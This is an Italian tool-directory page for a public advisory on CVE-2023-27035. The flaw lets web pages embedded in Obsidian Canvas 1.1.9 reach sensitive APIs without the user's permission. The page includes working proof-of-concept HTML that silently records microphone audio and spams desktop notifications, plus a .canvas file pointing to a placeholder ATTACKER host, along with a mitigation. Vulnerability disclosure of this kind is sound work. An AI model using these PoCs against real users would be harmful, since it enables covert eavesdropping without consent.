Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-27035 | Kitploit
Strumenti/GitHubGitHub/fivex3/cve-2023-27035
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPrivacyApprendimento e Formazione
GitHubfivex3/cve-2023-27035

CVE-2023-27035

Vedi Repository
13 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Tipo di vulnerabilità:

Controllo di accesso non corretto

Descrizione:

Un problema scoperto in Obsidian Canvas 1.1.9 consente a utenti malintenzionati remoti di inviare notifiche desktop, registrare l'audio dell'utente e altri impatti non specificati tramite un sito web incorporato nella pagina canvas.

Impatto:

I siti web incorporati dannosi possono accedere a API WEB sensibili nell'applicazione Obsidian senza il permesso e la conoscenza dell'utente. Ad esempio, possono registrare silenziosamente il microfono dell'utente o inviare notifiche desktop per conto dell'applicazione Obsidian, senza che l'utente ne sia a conoscenza o abbia concesso un permesso esplicito.

La causa principale di questo problema è l'assenza del gestore delle richieste di autorizzazione di sessione (Session Permission Request handler) nell'applicazione.

Prodotto interessato:

  • Obsidian (funzionalità Canvas)

Versioni interessate:

  • 1.1.9 < 1.1.14

Passaggi per riprodurre il problema:

  1. Creare e ospitare un file HTML con il seguente contenuto (la pagina registrerà 5 secondi di audio dal microfono e poi lo riprodurrà).
root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
  1. Creare una Canvas vuota e premere “Aggiungi pagina web”, inserire il collegamento a poc1.html OPPURE creare il seguente file .canvas (il parametro url punta alla nostra pagina sul server):
root@kitploit:~
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}
  1. Aprire il file canvas in Obsidian. La registrazione partirà immediatamente; dopo 5 secondi verrà riprodotta.

PoC delle notifiche:

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

Mitigazione:

Implementare il gestore delle richieste di autorizzazione di sessione di Electron (Session Permission Request handler) per gestire le richieste di permesso provenienti dalle pagine incorporate. L'accesso alle API Web deve essere concesso esplicitamente dall'utente o negato per impostazione predefinita.

Riferimenti:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
  • https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
  • https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
  • https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler
Scarica lo strumento